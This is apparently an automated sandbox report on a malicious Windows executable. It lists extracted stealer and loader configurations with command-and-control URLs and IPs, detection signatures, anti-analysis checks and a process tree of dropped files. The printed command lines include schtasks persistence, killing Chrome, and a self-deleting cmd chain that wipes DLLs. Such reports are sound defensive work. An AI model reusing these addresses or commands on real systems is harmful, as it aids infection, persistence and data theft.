Analysis
-
max time kernel
84s -
max time network
154s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
19/11/2021, 22:21
Static task
static1
Behavioral task
behavioral1
Sample
4ac90fcd66a546b3d454ac36071cd80628664314.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
4ac90fcd66a546b3d454ac36071cd80628664314.exe
Resource
win10-en-20211104
General
-
Target
4ac90fcd66a546b3d454ac36071cd80628664314.exe
-
Size
554KB
-
MD5
2492148eff76c565ffd2f40d9091e947
-
SHA1
4ac90fcd66a546b3d454ac36071cd80628664314
-
SHA256
7be418280356c7dc0384328a50904f3cee364185aa7f99e127e511461cd6db5c
-
SHA512
4fde132cb712716ea62b6fb112575b059cca8bc9a1c257eb414e73fd3bab2ec352b7c9bc5ba5e1fa8b1bbfbf0e00928097720c3dc4add6b6f895afddeb06bd47
Malware Config
Extracted
socelars
http://www.gianninidesign.com/
Extracted
redline
udptest
193.56.146.64:65441
Extracted
raccoon
1.8.3-hotfix
ddf183af4241e3172885cf1b2c4c1fb4ee03d05a
-
url4cnc
http://91.219.236.27/capibar
http://5.181.156.92/capibar
http://91.219.236.207/capibar
http://185.225.19.18/capibar
http://91.219.237.227/capibar
https://t.me/capibar
Extracted
smokeloader
2020
http://membro.at/upload/
http://jeevanpunetha.com/upload/
http://misipu.cn/upload/
http://zavodooo.ru/upload/
http://targiko.ru/upload/
http://vues3d.com/upload/
Extracted
redline
555
91.206.14.151:64591
Extracted
metasploit
windows/single_exec
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
resource yara_rule behavioral2/memory/924-222-0x00000000023B0000-0x00000000023DE000-memory.dmp family_redline behavioral2/memory/924-237-0x0000000002410000-0x000000000243C000-memory.dmp family_redline behavioral2/memory/4092-292-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral2/memory/4092-309-0x0000000000418EFE-mapping.dmp family_redline behavioral2/memory/4600-332-0x0000000000418EEE-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral2/files/0x000400000001abd0-134.dat family_socelars behavioral2/files/0x000400000001abd0-133.dat family_socelars -
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 26 IoCs
pid Process 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4344 gOWqdefCRkpmLDd8Qu5dsvVV.exe 3200 vcaSubLGQngh3k6mDgvJeCQ7.exe 60 4BQVJbOQiPKLES3CMx1vIEP1.exe 4540 j6bOJb_acIzUeV2zxijIqiXa.exe 4280 MLUDkq5cWj5XgscvAqcRbvkD.exe 4424 GmrnxltQVK9R52zRWKxQSvAY.exe 924 Li4YdSUW_GqmofDnHX7v0ZQV.exe 868 SR2EVWVNOaszObklXQZUhP0A.exe 828 GXhHM2B0NwNbdVS7ZZsWY_Xy.exe 700 Hv_aMQDtiIFBcvRIOfNBIqlk.exe 1344 ArTGrNYKjH9BdDFKYepIV198.exe 1888 xZihVmWW4jFiVgN9YPNIvOA_.exe 1812 U46oRgHSm5SzsDZqJog2tkyw.exe 2668 tBUHSd8qIT1OGDwG7mwttjDs.exe 3176 Llar205MZUrc7hsOOsmlUBMk.exe 3452 SzJnvn05jGu2CkjVQkTnUUMd.exe 4560 lQ1OgmcBnTFny2UBHXS2f7H5.exe 4840 bWcTSw3qAe5hUvgHIaishStJ.exe 4916 Ym_o7DJwy61a8x2GzBKizvwV.exe 2316 WknjO9PiK4BW6Xb7klP27jmR.exe 4872 iVJ5hluUYsTJ8nTIJFauLXvI.exe 4876 inst2.exe 4316 1L0L9AuQADPgbsT83QNt8EXC.exe 1580 jg1_1faf.exe 4308 vL4zbMMm2J337KSHzmAUdLA3.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion SzJnvn05jGu2CkjVQkTnUUMd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion SzJnvn05jGu2CkjVQkTnUUMd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion xZihVmWW4jFiVgN9YPNIvOA_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion xZihVmWW4jFiVgN9YPNIvOA_.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Control Panel\International\Geo\Nation 4ac90fcd66a546b3d454ac36071cd80628664314.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral2/files/0x000400000001abf8-157.dat themida behavioral2/files/0x000400000001abf8-160.dat themida behavioral2/files/0x000300000001abe0-167.dat themida behavioral2/files/0x000400000001ac02-179.dat themida behavioral2/files/0x000400000001ac00-176.dat themida behavioral2/files/0x000400000001ac00-175.dat themida behavioral2/files/0x000300000001abe0-169.dat themida behavioral2/files/0x000400000001ac0b-187.dat themida behavioral2/files/0x000400000001ac0b-188.dat themida behavioral2/files/0x000400000001ac0d-192.dat themida behavioral2/files/0x000400000001ac0d-191.dat themida behavioral2/memory/3176-234-0x0000000000950000-0x0000000000951000-memory.dmp themida behavioral2/memory/4840-258-0x00000000003B0000-0x00000000003B1000-memory.dmp themida behavioral2/memory/4916-275-0x0000000000C20000-0x0000000000C21000-memory.dmp themida behavioral2/memory/4560-274-0x0000000001050000-0x0000000001051000-memory.dmp themida behavioral2/memory/4872-278-0x0000000000F50000-0x0000000000F51000-memory.dmp themida behavioral2/files/0x000400000001ac43-427.dat themida behavioral2/memory/1888-211-0x0000000000FC0000-0x0000000000FC1000-memory.dmp themida -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA SzJnvn05jGu2CkjVQkTnUUMd.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA xZihVmWW4jFiVgN9YPNIvOA_.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Llar205MZUrc7hsOOsmlUBMk.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 126 ip-api.com 142 ipinfo.io 144 ipinfo.io 200 ipinfo.io 250 ip-api.com 19 ipinfo.io 20 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1888 xZihVmWW4jFiVgN9YPNIvOA_.exe 3176 Llar205MZUrc7hsOOsmlUBMk.exe -
Drops file in Program Files directory 5 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Company\NewProduct\inst2.exe U46oRgHSm5SzsDZqJog2tkyw.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe U46oRgHSm5SzsDZqJog2tkyw.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\rtst1039.exe U46oRgHSm5SzsDZqJog2tkyw.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe U46oRgHSm5SzsDZqJog2tkyw.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini U46oRgHSm5SzsDZqJog2tkyw.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 8 IoCs
pid pid_target Process procid_target 2128 4424 WerFault.exe 76 4548 4308 WerFault.exe 93 1432 3452 WerFault.exe 86 1292 4424 WerFault.exe 76 688 4424 WerFault.exe 76 2984 4424 WerFault.exe 76 2100 4316 WerFault.exe 94 3516 4424 WerFault.exe 76 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3132 schtasks.exe 2052 schtasks.exe -
Kills process with taskkill 4 IoCs
pid Process 4468 taskkill.exe 5148 taskkill.exe 4736 taskkill.exe 5356 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe 4336 bKrX8lj0gffUPJVYjBb912oh.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
description pid Process Token: SeCreateTokenPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeAssignPrimaryTokenPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeLockMemoryPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeIncreaseQuotaPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeMachineAccountPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeTcbPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeSecurityPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeTakeOwnershipPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeLoadDriverPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeSystemProfilePrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeSystemtimePrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeProfSingleProcessPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeIncBasePriorityPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeCreatePagefilePrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeCreatePermanentPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeBackupPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeRestorePrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeShutdownPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeDebugPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeAuditPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeSystemEnvironmentPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeChangeNotifyPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeRemoteShutdownPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeUndockPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeSyncAgentPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeEnableDelegationPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeManageVolumePrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeImpersonatePrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: SeCreateGlobalPrivilege 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: 31 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: 32 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: 33 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: 34 4540 j6bOJb_acIzUeV2zxijIqiXa.exe Token: 35 4540 j6bOJb_acIzUeV2zxijIqiXa.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3512 wrote to memory of 4336 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 69 PID 3512 wrote to memory of 4336 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 69 PID 3512 wrote to memory of 4344 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 71 PID 3512 wrote to memory of 4344 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 71 PID 3512 wrote to memory of 4344 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 71 PID 3512 wrote to memory of 3200 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 70 PID 3512 wrote to memory of 3200 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 70 PID 3512 wrote to memory of 3200 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 70 PID 3512 wrote to memory of 4540 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 74 PID 3512 wrote to memory of 4540 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 74 PID 3512 wrote to memory of 4540 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 74 PID 3512 wrote to memory of 60 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 73 PID 3512 wrote to memory of 60 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 73 PID 3512 wrote to memory of 60 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 73 PID 3512 wrote to memory of 4280 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 75 PID 3512 wrote to memory of 4280 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 75 PID 3512 wrote to memory of 4280 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 75 PID 3512 wrote to memory of 4424 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 76 PID 3512 wrote to memory of 4424 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 76 PID 3512 wrote to memory of 4424 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 76 PID 3512 wrote to memory of 868 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 78 PID 3512 wrote to memory of 868 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 78 PID 3512 wrote to memory of 868 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 78 PID 3512 wrote to memory of 924 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 77 PID 3512 wrote to memory of 924 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 77 PID 3512 wrote to memory of 924 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 77 PID 3512 wrote to memory of 700 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 79 PID 3512 wrote to memory of 700 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 79 PID 3512 wrote to memory of 828 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 80 PID 3512 wrote to memory of 828 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 80 PID 3512 wrote to memory of 828 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 80 PID 3512 wrote to memory of 1812 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 83 PID 3512 wrote to memory of 1812 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 83 PID 3512 wrote to memory of 1812 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 83 PID 3512 wrote to memory of 1888 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 82 PID 3512 wrote to memory of 1888 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 82 PID 3512 wrote to memory of 1888 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 82 PID 3512 wrote to memory of 1344 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 81 PID 3512 wrote to memory of 1344 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 81 PID 3512 wrote to memory of 1344 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 81 PID 3512 wrote to memory of 2668 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 85 PID 3512 wrote to memory of 2668 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 85 PID 3512 wrote to memory of 2668 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 85 PID 3512 wrote to memory of 3176 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 84 PID 3512 wrote to memory of 3176 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 84 PID 3512 wrote to memory of 3176 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 84 PID 3512 wrote to memory of 3452 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 86 PID 3512 wrote to memory of 3452 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 86 PID 3512 wrote to memory of 3452 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 86 PID 3512 wrote to memory of 4560 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 87 PID 3512 wrote to memory of 4560 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 87 PID 3512 wrote to memory of 4560 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 87 PID 3512 wrote to memory of 4840 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 88 PID 3512 wrote to memory of 4840 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 88 PID 3512 wrote to memory of 4840 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 88 PID 3512 wrote to memory of 4916 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 92 PID 3512 wrote to memory of 4916 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 92 PID 3512 wrote to memory of 4916 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 92 PID 3512 wrote to memory of 2316 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 91 PID 3512 wrote to memory of 2316 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 91 PID 3512 wrote to memory of 2316 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 91 PID 3512 wrote to memory of 4872 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 90 PID 3512 wrote to memory of 4872 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 90 PID 3512 wrote to memory of 4872 3512 4ac90fcd66a546b3d454ac36071cd80628664314.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\4ac90fcd66a546b3d454ac36071cd80628664314.exe"C:\Users\Admin\AppData\Local\Temp\4ac90fcd66a546b3d454ac36071cd80628664314.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3512 -
C:\Users\Admin\Pictures\Adobe Films\bKrX8lj0gffUPJVYjBb912oh.exe"C:\Users\Admin\Pictures\Adobe Films\bKrX8lj0gffUPJVYjBb912oh.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4336
-
-
C:\Users\Admin\Pictures\Adobe Films\vcaSubLGQngh3k6mDgvJeCQ7.exe"C:\Users\Admin\Pictures\Adobe Films\vcaSubLGQngh3k6mDgvJeCQ7.exe"2⤵
- Executes dropped EXE
PID:3200 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:3132
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:2052
-
-
C:\Users\Admin\Documents\18bJw4jKMdOTTPCeOsqad6Zs.exe"C:\Users\Admin\Documents\18bJw4jKMdOTTPCeOsqad6Zs.exe"3⤵PID:4136
-
C:\Users\Admin\Pictures\Adobe Films\986wKJgXJFSICxpYaC9yQZyS.exe"C:\Users\Admin\Pictures\Adobe Films\986wKJgXJFSICxpYaC9yQZyS.exe"4⤵PID:3172
-
-
C:\Users\Admin\Pictures\Adobe Films\K5_7xpmB1diClzB2gKnDLkyr.exe"C:\Users\Admin\Pictures\Adobe Films\K5_7xpmB1diClzB2gKnDLkyr.exe"4⤵PID:5308
-
-
C:\Users\Admin\Pictures\Adobe Films\sRRxY9jv7HPY8Ea9jIJaTpdy.exe"C:\Users\Admin\Pictures\Adobe Films\sRRxY9jv7HPY8Ea9jIJaTpdy.exe"4⤵PID:5336
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:5732
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:4736
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\QYHCykWA8PB3QEgGOl8tojTW.exe"C:\Users\Admin\Pictures\Adobe Films\QYHCykWA8PB3QEgGOl8tojTW.exe"4⤵PID:5400
-
-
C:\Users\Admin\Pictures\Adobe Films\tO4fQ9UB8iGFAQWNKKZ8coaw.exe"C:\Users\Admin\Pictures\Adobe Films\tO4fQ9UB8iGFAQWNKKZ8coaw.exe"4⤵PID:5440
-
-
C:\Users\Admin\Pictures\Adobe Films\IDVq7D7DScfVm8LtFRNIvXPR.exe"C:\Users\Admin\Pictures\Adobe Films\IDVq7D7DScfVm8LtFRNIvXPR.exe"4⤵PID:5808
-
C:\Users\Admin\Pictures\Adobe Films\IDVq7D7DScfVm8LtFRNIvXPR.exe"C:\Users\Admin\Pictures\Adobe Films\IDVq7D7DScfVm8LtFRNIvXPR.exe" -u5⤵PID:5144
-
-
-
C:\Users\Admin\Pictures\Adobe Films\hHX71L3QEmJofVEbwPPBOrjy.exe"C:\Users\Admin\Pictures\Adobe Films\hHX71L3QEmJofVEbwPPBOrjy.exe"4⤵PID:5840
-
C:\Users\Admin\AppData\Local\Temp\is-CA3D3.tmp\hHX71L3QEmJofVEbwPPBOrjy.tmp"C:\Users\Admin\AppData\Local\Temp\is-CA3D3.tmp\hHX71L3QEmJofVEbwPPBOrjy.tmp" /SL5="$2030A,506127,422400,C:\Users\Admin\Pictures\Adobe Films\hHX71L3QEmJofVEbwPPBOrjy.exe"5⤵PID:5956
-
C:\Users\Admin\AppData\Local\Temp\is-JKLV5.tmp\lakazet.exe"C:\Users\Admin\AppData\Local\Temp\is-JKLV5.tmp\lakazet.exe" /S /UID=27096⤵PID:988
-
C:\Users\Admin\AppData\Local\Temp\59-b145f-1e9-6829e-59de5f55099a9\Gysaefaetishu.exe"C:\Users\Admin\AppData\Local\Temp\59-b145f-1e9-6829e-59de5f55099a9\Gysaefaetishu.exe"7⤵PID:2524
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\glknt0gx.24g\installer.exe /qn CAMPAIGN="654" & exit8⤵PID:6540
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\o5el25yw.wli\any.exe & exit8⤵PID:6660
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2zxb1tp3.ged\autosubplayer.exe /S & exit8⤵PID:6808
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\o9ZnWPZz3D96NXa2Hv78XGVJ.exe"C:\Users\Admin\Pictures\Adobe Films\o9ZnWPZz3D96NXa2Hv78XGVJ.exe"4⤵PID:5632
-
C:\Users\Admin\AppData\Roaming\Traffic\setup.exeC:\Users\Admin\AppData\Roaming\Traffic\setup.exe -cid= -sid= -silent=15⤵PID:6460
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\gOWqdefCRkpmLDd8Qu5dsvVV.exe"C:\Users\Admin\Pictures\Adobe Films\gOWqdefCRkpmLDd8Qu5dsvVV.exe"2⤵
- Executes dropped EXE
PID:4344 -
C:\Users\Admin\Pictures\Adobe Films\gOWqdefCRkpmLDd8Qu5dsvVV.exe"C:\Users\Admin\Pictures\Adobe Films\gOWqdefCRkpmLDd8Qu5dsvVV.exe"3⤵PID:4296
-
-
-
C:\Users\Admin\Pictures\Adobe Films\4BQVJbOQiPKLES3CMx1vIEP1.exe"C:\Users\Admin\Pictures\Adobe Films\4BQVJbOQiPKLES3CMx1vIEP1.exe"2⤵
- Executes dropped EXE
PID:60 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 4BQVJbOQiPKLES3CMx1vIEP1.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\4BQVJbOQiPKLES3CMx1vIEP1.exe" & del C:\ProgramData\*.dll & exit3⤵PID:5248
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 4BQVJbOQiPKLES3CMx1vIEP1.exe /f4⤵
- Kills process with taskkill
PID:5356
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\j6bOJb_acIzUeV2zxijIqiXa.exe"C:\Users\Admin\Pictures\Adobe Films\j6bOJb_acIzUeV2zxijIqiXa.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4540 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵PID:2196
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
PID:4468
-
-
-
-
